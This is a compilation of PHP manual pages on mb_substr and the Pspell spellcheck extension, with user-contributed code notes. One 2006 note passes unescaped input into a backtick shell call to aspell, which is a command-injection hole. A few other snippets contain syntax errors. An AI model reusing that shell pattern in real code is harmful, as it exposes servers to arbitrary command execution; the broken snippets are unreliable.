The problem with this is that there is no "magic" way to find $i-th character inside UTF-8 string, other than reading it byte by byte from the begining. Thus a loop which calls mb_substr($text,$i,1) N times for all possible N values of $i, will take much longer than expected. The larger the $i gets, the longer is the search for $i-th letter. As characters are between 1 to 6 bytes long, one can convince oneself, that the execution time of such loop is actually Theta(N^2), which can be really slow even for moderately long texts.
One way to work around it is to first split your text into an array of letters using some smart preprocessing, and only then iterate over the array.
Here is the idea:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function charAt($a,$i){
    return self::substr($a,$i,1);
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
?>
As you can see, the Strings::letters($text) split the text recursively into two parts. Each level of the recursion requires time linear in the length of the string, and there is logarithmic number of levels, so the total runtime is O(N log N), which is still more than theoretically optimal O(N), but sadly this is the best idea I've got.
sanjuro at 1up-games dot com 27-Sep-2013 06:18
A serious pitfall when using mb_substr() set to HTML-ENTITIES encoding is that the function performs a number of conversions before returning the value, the worst one being that html special characters are not just counted but decoded.

<?php

mb_internal_encoding("ISO-8859-1"); echo mb_internal_encoding(),"\n<br><br>\n";

$a='j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;';

echo mb_substr($a,0),"\n<br><br>\n";
// page source: j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;

echo mb_substr($a,0,strlen($a),'HTML-ENTITIES');
// page source: j&uuml;st &auml; " simple " &#26085;&#26412; <b>test</b>

?>
desmatic at gmail dot com 29-Apr-2013 03:51
quick and dirty loop through multibyte string
<?php
function get_character_classes($string, $encoding = "UTF-8") {
    $current_encoding = mb_internal_encoding();
    mb_internal_encoding($encoding);
    $has = array();
    $stringlength = mb_strlen($string, $encoding);
    for ($i=0; $i < $stringlength; $i++) {
        $c = mb_substr($string, $i, 1);
        if (($c >= "0") && ($c <= "9")) {
            $has['numeric'] = "numeric";
        } else if (($c >= "a") && ($c <= "z")) {
            $has['alpha'] = "alpha";
            $has['alphalower'] = 'alphalower';
        } else if (($c >= "A") && ($c <= "Z")) {
            $has['alpha'] = "alpha";
            $has['alphaupper'] = "alphaupper";
        } else if (($c == "$") || ($c == "￡")) {
            $has['currency'] = "currency";
        } else if (($c == ".") && ($has['decimal'])) {
            $has['decimals'] = "decimals";
        } else if ($c == ".") {
            $has['decimal'] = "decimal";
        } else if ($c == ",") {
            $has['comma'] = "comma";
        } else if ($c == "-") {
            $has['dash'] = "dash";
        } else if ($c == " ") {
            $has['space'] = "space";
        } else if ($c == "/") {
            $has['slash'] = "slash";
        } else if ($c == ":") {
            $has['colon'] = "colon";
        } else if (($c >= " ") && ($c <= "~")) {
            $has['ascii'] = "ascii";
        } else {
            $has['binary'] = "binary";
        }
    }
    mb_internal_encoding($current_encoding);

    return $has;
}

$string = "1234asdfA￡^_{}|}~????";
echo print_r(get_character_classes($string), true);
?>

Array
(
    [numeric] => numeric
    [alpha] => alpha
    [alphalower] => alphalower
    [alphaupper] => alphaupper
    [currency] => currency
    [ascii] => ascii
    [binary] => binary
)
p dot assenov at aip-solutions dot com 02-Dec-2011 09:17
I'm trying to capitalize only the first character of the string and tried some of the examples above but they didn't work. It seems mb_substr() cannot calculate the length of the string in multi-byte encoding (UTF-8) and it should be set explicitly. Here is the corrected version:

<?php
function mb_ucfirst($str, $enc = 'utf-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>

cheers!
projektas at gmail dot com 21-Oct-2008 06:29
First letter in upper case <hr />

<?php
header ('Content-type: text/html; CHARSET=gb2312');

if (isset($_POST['check']) && !empty($_POST['check'])) {
    echo htmlspecialchars(ucfirst_utf8($_POST['check']));
} else {
    echo htmlspecialchars(ucfirst_utf8('??sin?'));
}

function ucfirst_utf8($str) {
    if (mb_check_encoding($str,'UTF-8')) {
        $first = mb_substr(
            mb_strtoupper($str, "utf-8"),0,1,'utf-8'
        );
        return $first.mb_substr(
            mb_strtolower($str,"utf-8"),1,mb_strlen($str),'utf-8'
        );
    } else {
        return $str;
    }
}
?>

<form method="post" action="" >
    <input type="input" name="check" />
    <input type="submit" />
</form>
xiaogil at yahoo dot fr 02-Aug-2005 08:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl 23-Feb-2005 06:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.


Pspell

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Pspell 函数
    • pspell_add_to_personal — Add the word to a personal wordlist
    • pspell_add_to_session — Add the word to the wordlist in the current session
    • pspell_check — Check a word
    • pspell_clear_session — Clear the current session
    • pspell_config_create — Create a config used to open a dictionary
    • pspell_config_data_dir — Location of language data files
    • pspell_config_dict_dir — Location of the main word list
    • pspell_config_ignore — Ignore words less than N characters long
    • pspell_config_mode — Change the mode number of suggestions returned
    • pspell_config_personal — Set a file that contains personal wordlist
    • pspell_config_repl — Set a file that contains replacement pairs
    • pspell_config_runtogether — Consider run-together words as valid compounds
    • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
    • pspell_new_config — Load a new dictionary with settings based on a given config
    • pspell_new_personal — Load a new dictionary with personal wordlist
    • pspell_new — Load a new dictionary
    • pspell_save_wordlist — Save the personal wordlist to a file
    • pspell_store_replacement — Store a replacement pair for a word
    • pspell_suggest — Suggest spellings of a word
  • PSpell\Dictionary — The PSpell\Dictionary class
  • PSpell\Config — The PSpell\Config class

User Contributed Notes

Andreas 20-Sep-2013 07:38
I've checked sources of PHP versions 5.3.27 and 5.5.4

Both include pspell:
php-5.5.4/ext/pspell
php-5.3.27/ext/pspell

Nevertheless, if you use precompiled versions you may have a different impression (e.g. on Ubuntu you need to install the package php5-pspell).


简介

These functions allow you to check the spelling of a word and offer suggestions.

User Contributed Notes

There are no user contributed notes for this page.


需求

To compile PHP with pspell support, you need the aspell library, available from » http://aspell.net/.

User Contributed Notes

There are no user contributed notes for this page.


安装

If you have the libraries needed add the --with-pspell[=dir] option when compiling PHP.

Note: Note to Win32 Users

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： aspell-15.dll from the bin folder of the aspell installation.

Win32 support requires at least aspell version 0.50.

User Contributed Notes

chapman at wtinds dot com 11-Feb-2020 03:39
If you are compiling v7.3.x under CentOS 8, you will need to first enable PowerTools, then install aspell-devel - otherwise aspell-devel will not be available to you:

sudo dnf config-manager --set-enabled PowerTools
sudo dnf install -y aspell-devel

Then in your configure line, just use:

--with-pspell

NOT

--with-pspell=/some/dir
juliusdavies at gmail dot com 18-Mar-2009 04:06
Aspell + PHP + Windows was giving me just crazy crashes with this simple test file:

<?php
$pspell_link = pspell_new("en");
?>

Running "php -f test.php" directly from a DOS prompt shed some light:

----------------
The file "C:\Program Files\Aspell\data/iso8859-1.dat" can not be opened for reading.pell\dict/en-only.rws:
----------------

To fix it I needed to "dos2unix" all the files in Aspell's C:\Program Files\Aspell\data\ directory.  (Convert them from CRLF to just LF line endings).


资源类型

Prior to PHP 8.1.0, there were two resource types used in this extension. The first one is the dictionary link identifier, the second is a resource which holds pspell config.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PSPELL_FAST (int)
PSPELL_NORMAL (int)
PSPELL_BAD_SPELLERS (int)
PSPELL_RUN_TOGETHER (int)

User Contributed Notes

There are no user contributed notes for this page.


Pspell 函数

Table of Contents

  • pspell_add_to_personal — Add the word to a personal wordlist
  • pspell_add_to_session — Add the word to the wordlist in the current session
  • pspell_check — Check a word
  • pspell_clear_session — Clear the current session
  • pspell_config_create — Create a config used to open a dictionary
  • pspell_config_data_dir — Location of language data files
  • pspell_config_dict_dir — Location of the main word list
  • pspell_config_ignore — Ignore words less than N characters long
  • pspell_config_mode — Change the mode number of suggestions returned
  • pspell_config_personal — Set a file that contains personal wordlist
  • pspell_config_repl — Set a file that contains replacement pairs
  • pspell_config_runtogether — Consider run-together words as valid compounds
  • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
  • pspell_new_config — Load a new dictionary with settings based on a given config
  • pspell_new_personal — Load a new dictionary with personal wordlist
  • pspell_new — Load a new dictionary
  • pspell_save_wordlist — Save the personal wordlist to a file
  • pspell_store_replacement — Store a replacement pair for a word
  • pspell_suggest — Suggest spellings of a word

User Contributed Notes

golotyuk at gmail dot com 24-Dec-2009 01:40
Manuall php installation on Debian/Ubuntu will require you to:

apt-get install libpspell-dev
dylan at wedefy dot com 18-Oct-2007 05:36
preg_replace_callback() is the best way I found to check words in a large text and change the HTML color of words that are not found.  Here is a script I wrote which does just that, and optionally uses pspell_suggest() to auto-correct. I would love to write a better regex to ignore <text inside xml tags>, but that really isn't as easy as it sounds...
<?php
$pspell = pspell_new('en','canadian','','utf-8',PSPELL_FAST);

function spellCheckWord($word) {
    global $pspell;
    $autocorrect = TRUE;

    // Take the string match from preg_replace_callback's array
    $word = $word[0];

    // Ignore ALL CAPS
    if (preg_match('/^[A-Z]*$/',$word)) return $word;

    // Return dictionary words
    if (pspell_check($pspell,$word))
        return $word;

    // Auto-correct with the first suggestion, color green
    if ($autocorrect && $suggestions = pspell_suggest($pspell,$word))
        return '<span style="color:#00FF00;">'.current($suggestions).'</span>';

    // No suggestions, color red
    return '<span style="color:#FF0000;">'.$word.'</span>';
}

function spellCheck($string) {
    return preg_replace_callback('/\b\w+\b/','spellCheckWord',$string);
}

echo spellCheck('PHP is a reflecktive proegramming langwage origenaly dezigned for prodewcing dinamic waieb pagges.');
?>
OUTPUT: PHP is a reflective programming language originally designed for producing dynamic Web pages.
fragment 11-Apr-2007 10:12
To get round the error on Windows where the word list can't be found inside functions, take the call to pspell_new() out of the function and pass the return value to your function, i.e.

<?
function testSpell($pspell_link) {
    echo pspell_check($pspell_link, "test") ? 'OK' : 'Not OK';
}
$pspell_link = pspell_new("en");
testSpell($pspell_link);
?>
Alan Dunsmuir<alan at moonrake dot demon dot co dot uk> 14-Mar-2007 01:28
There appears to be a problem currently affecting PSpell functionality on Windows machines.

Currently, the compiled build of PHP5 for Windows does not by default include PSpell, and to activate these functions the Windows user has to (a) install GNU ASpell; (b) copy the file aspell-15.dll to a directory in the Windows "Path" statement (typically C:\Windows\System32); (c) install one or more ASpell dictionaries; (d) enable the PSpell extension to PHP by adding a reference to php_pspell.dll in the php.ini file, and moving the file itself to the main PHP directory.

However, when this has all been done and PSpell appears to have been fully activated, there remains a problem. While all the PSpell functions work as specified when referenced from the "main" body of PHP code, if they are placed within a PHP function, the system reports that it is unable to find any word lists for the specified dictionary (whichever one is chosen).

I have a sample of PSpell-using code (taken from the SAMS book PHP 5 In Practice) which works perfectly on a Unix-based Web Server, but which fails with the indicated error message on a range of Windows machines.
sholland at napervillegi dot com 28-Oct-2006 11:48
Back in 10/2002 csnyder at chxo dot com wrote the first comment about the spell functions, and wrote a very sophisticated spell check with a direct call to aspell.  In a similar vein, I wrote a simplified a PHP function that will spell check a string and insert tags before and after the misspelled words. Auto-correction is not offered.

<?
function spellcheck($string) {
// Entry:    $string: Text to spellcheck.
// Returns: string with '<strong>' and '</strong>' inserted before and
//            after misspellings.

    $pre='<strong>'; // Inserted before each mis-spelling.
    $post='</strong>'; // Inserted after each mis-spelling.
    $string=strtr($string,"\n"," ");
        // Drop newlines in string. (It bothers aspell in this context.)
    $mistakes = `echo $string | /usr/local/bin/aspell list`;
        // Get list or errors.
    $offset=0;
    foreach (explode("\n",$mistakes) as $word)
        // Walk list, inserting $pre and $post strings.  I move along and
        // do the insertions, keeping track of the location.  A global replace
        // with str_replace($string,$pre.$work.$post) is problematic if the
        // same misspelling is found more than once.
        if ($word<>"") {
            $offset=strpos($string,$word,$offset);
            $string=substr_replace($string, $post, $offset+strlen($word), 0);
            $string=substr_replace($string, $pre, $offset, 0);
            $offset=$offset+strlen($word)+strlen("$pre $post");
            };
    return $string;};
?>

For this to work on your system, see if /usr/local/bin/aspell list runs from the shell.  It needs to get input from standard input.  You may not be able to run apell without the path for PHP because the PATH variable may be different in the PHP invocation from a shell invocation.
andrew at bluerhinos dot co dot uk 03-May-2006 03:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler 29-Mar-2006 12:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
Gregory Boshoff 13-May-2005 04:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
flint at modulusgroup dot com 29-Dec-2004 02:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
tidd 28-Sep-2004 10:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net 11-Apr-2004 07:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
    $words = preg_split('/[\W]+?/',$string);
    $misspelled = $return = array();
    $int = pspell_new('en');
    foreach ($words as $value) {
        if (!pspell_check($int, $value)) {
            $misspelled[] = $value;
        }
    }
    foreach ($misspelled as $value) {
        $return[$value] = pspell_suggest($int, $value);
    }
    return $return;
}

?>
jrweir _a_t_ yahoo 29-Mar-2004 11:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org 12-Jan-2003 02:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com 11-Oct-2002 12:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.


Add the word to a personal wordlist

  • ? Pspell 函数
  • pspell_add_to_session ?
  • PHP Manual
  • Pspell 函数
  • Add the word to a personal wordlist

pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_personal — Add the word to a personal wordlist

说明

pspell_add_to_personal(PSpell\Dictionary $dictionary, string $word): bool

pspell_add_to_personal() adds a word to the personal wordlist. If you used pspell_new_config() with pspell_config_personal() to open the dictionary, you can save the wordlist later with pspell_save_wordlist().

参数

dictionary

An PSpell\Dictionary instance.

word

The added word.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_save_wordlist($pspell);
?>

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Add the word to the wordlist in the current session

  • ? pspell_add_to_personal
  • pspell_check ?
  • PHP Manual
  • Pspell 函数
  • Add the word to the wordlist in the current session

pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_session — Add the word to the wordlist in the current session

说明

pspell_add_to_session(PSpell\Dictionary $dictionary, string $word): bool

pspell_add_to_session() adds a word to the wordlist associated with the current session. It is very similar to pspell_add_to_personal()

参数

dictionary

An PSpell\Dictionary instance.

word

The added word.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

User Contributed Notes

admin at codefisher dot org 12-Sep-2007 01:08
This function does not accept hyphenated words, which is kind of annoying.


Check a word

  • ? pspell_add_to_session
  • pspell_clear_session ?
  • PHP Manual
  • Pspell 函数
  • Check a word

pspell_check

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_check — Check a word

说明

pspell_check(PSpell\Dictionary $dictionary, string $word): bool

pspell_check() checks the spelling of a word.

参数

dictionary

An PSpell\Dictionary instance.

word

The tested word.

返回值

Returns true if the spelling is correct, false if not.

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_check() Example

<?php
$pspell = pspell_new("en");

if (pspell_check($pspell, "testt")) {
echo "This is a valid spelling";
} else {
echo "Sorry, wrong spelling";
}
?>

User Contributed Notes

digit6 at gmail dot com 30-May-2017 07:36
A better pattern for splitting the words of a query up is:

preg_match_all('/[^\w\']/+/', $query, $word)
// $words has the words.
Jcart 05-Oct-2005 06:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
      echo "spelled right";
   } else {
      echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk 12-May-2005 05:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
    $t = "<font color=blue>text herre &amp; some more</font>";
    echo "Before:$t";
    $t = SpellCheck($t);
    echo "<hr>After SpellCheck: $t";
    $t = ClearSpell($t);
    echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

    $pspell_link = pspell_new("en"); //0. Get the dictionary
    $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings]; //2. For each string from 1

        if ($string =='')
            continue;

        $temp  = explode('<', $string); //2.1   Split $string from $strings on '>' to give us a $tag and $cdata
        $tag = $temp[1];
        $cdata = $temp[0];

        $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
        $nSubCdatas = count($subCdatas);    //2.3   For each $subCdata from $subcdatas in 2.2

        for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
        {
            $subCdata = $subCdatas[$cSubCdatas];

            if ($subCdata == '')
                continue;

            $temp = explode('&', $subCdata); //2.3.1     Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
            $subCdataEntity = $temp[1];
            $subCdataWithNoEntities = $temp[0];
            $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2     Spellcheck the $cdataWithNoEntities

            if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
                $subCdata = $subCdataWithNoEntities;
            else
                $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

            $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
        }

        $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

        if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
            $string = $cdata . '<' . $tag . '>';
        else
            $string = $cdata;

        $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
    }

    $text = implode('', $strings);     //3  Implode the $strings back into $text
    return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
        $currentword = $words[0][$i];

        if (!pspell_check($pspell_link, $currentword))
        {
            $wordarray = pspell_suggest($pspell_link, $currentword);
                $words = implode(', ', $wordarray);
                $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
            $string = str_replace($currentword, $suggest, $string);
        }

    }
    return $string;
}

function ClearSpell($text)
{
    $strings = explode(">", $text);
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings];

        if ($string =='')
            continue;

        $temp  = explode('<', $string);
        $tag = $temp[1];
        $cdata = $temp[0];

        if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
            $string = $cdata;
        else
            $string = $cdata . '<' . $tag . '>';

        $strings[$cStrings] = $string;
    }

    $text = implode('', $strings);
    return $text;
}
?>
si at youbeenx dot com 22-Mar-2005 05:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

    $pspell_link = pspell_new("en");
    preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

    for ($i = 0; $i < count($words[0]); $i++) {

        if (!pspell_check($pspell_link, $words[0][$i])) {

            $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

        }

    }

    return $string;

}

?>


Clear the current session

  • ? pspell_check
  • pspell_config_create ?
  • PHP Manual
  • Pspell 函数
  • Clear the current session

pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_clear_session — Clear the current session

说明

pspell_clear_session(PSpell\Dictionary $dictionary): bool

pspell_clear_session() clears the current session. The current wordlist becomes blank, and, for example, if you try to save it with pspell_save_wordlist(), nothing happens.

参数

dictionary

An PSpell\Dictionary instance.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_add_to_personal() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_clear_session($pspell);
pspell_save_wordlist($pspell); //"Vlad" will not be saved
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a config used to open a dictionary

  • ? pspell_clear_session
  • pspell_config_data_dir ?
  • PHP Manual
  • Pspell 函数
  • Create a config used to open a dictionary

pspell_config_create

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_create — Create a config used to open a dictionary

说明

pspell_config_create(
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = ""
): PSpell\Config

Create a config used to open a dictionary.

pspell_config_create() has a very similar syntax to pspell_new(). In fact, using pspell_config_create() immediately followed by pspell_new_config() will produce the exact same result. However, after creating a new config, you can also use pspell_config_*() functions before calling pspell_new_config() to take advantage of some advanced functionality.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

参数

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

返回值

Returns an PSpell\Config instance.

更新日志

版本 | 说明
8.1.0 | Returns an PSpell\Config instance now; previously, a resource was returned.

示例

Example #1 pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_personal($pspell_config, "en");
?>

User Contributed Notes

mshort at mail dot com 02-Sep-2023 04:09
This might help if you are trying to use multiple custom dictionaries especially if you don't have sudo access to the system aspell dictionary directory ...
I created three custom dictionaries (or are they word lists) using "aspell create master" and found a way to use them ...
1) Create 3 word lists, one word per line, wordlistA.txt, wordlistB.txt, and wordlistC.txt.
2) Create 3 masters ... aspell --lang=en create master ./my_LANG-dictA.rws < wordlistA.txt - repeat for B and C (lang needs to be already installed, I think any lang will work).
3) Create 3 multi files, my_LANGA.multi, contents: add my_LANG-dictA.rws) - repeat for B and C. Where my_LANGA can be any name in the same case as explained in the aspell manual.
4) Use any one of them (A B or C) with pspell ...
<?php
$pspell_config = pspell_config_create('my_LANGC', '', ''. 'utf-8');
pspell_config_dict_dir($pspell_config, <location of my_LANGC.multi>);
if (($pspell = pspell_new_config($pspell_config)) == false) {
    echo 'pspell_new_config() for LANGC FAILED!');
} else {
    $word = 'PHPisgreat'];
    if (pspell_check($pspell, $word)) {
        echo "$word: Valid spelling";
    } else {
        $suggestions = pspell_suggest($pspell, $word);
        echo "$word: suggestions: $suggestions"
    }
}
?>

The language arg for pspell_config_create() is the basename of the .multi file.
Note that I do not have a file $HOME/.aspell.conf.
Note that my .multi and .rws files are in the same directory, which I think is necessary.
The wordlist files are not needed once the masters are created.


Location of language data files

  • ? pspell_config_create
  • pspell_config_dict_dir ?
  • PHP Manual
  • Pspell 函数
  • Location of language data files

pspell_config_data_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_data_dir — Location of language data files

说明

pspell_config_data_dir(PSpell\Config $config, string $directory): bool

Warning

本函数还未编写文档，仅有参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

User Contributed Notes

alexxed at gmail dot com 15-Oct-2007 12:21
Here's an example of how to use pspell when you don't want or you can't use the dictionaries installed on the system.
<?
$text_to_check = 'I can sspeak English';
// optional. clean text a bit
$clean_text_to_check = preg_replace('/[^a-z0-9\-\.!;]+/i', ' ', $text_to_check);
// get a word list
$word_list = preg_split('/\s+/', $clean_text_to_check);

$pspell_config = pspell_config_create("en", null, null, 'utf-8');

// if the aspell dictionaries that you want are not installed,
// copy the aspell dictionaries and set the path to the dictionaries here
pspell_config_data_dir($pspell_config, "/home/alex/dictionaries/");
pspell_config_dict_dir($pspell_config, "/home/alex/dictionaries/");
$pspell_link = pspell_new_config($pspell_config);

foreach($word_list as $word) {

    if (!pspell_check($pspell_link, trim($word))) {
        $suggestions = pspell_suggest($pspell_link, trim($word));

        echo $word . ' misspelled <br />';
        foreach ($suggestions as $suggestion) {
            echo "\t Possible spelling: $suggestion <br />";
        }
    }
    else {
        // correct spelling
    }
}
?>


Location of the main word list

  • ? pspell_config_data_dir
  • pspell_config_ignore ?
  • PHP Manual
  • Pspell 函数
  • Location of the main word list

pspell_config_dict_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_dict_dir — Location of the main word list

说明

pspell_config_dict_dir(PSpell\Config $config, string $directory): bool

Warning

本函数还未编写文档，仅有参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
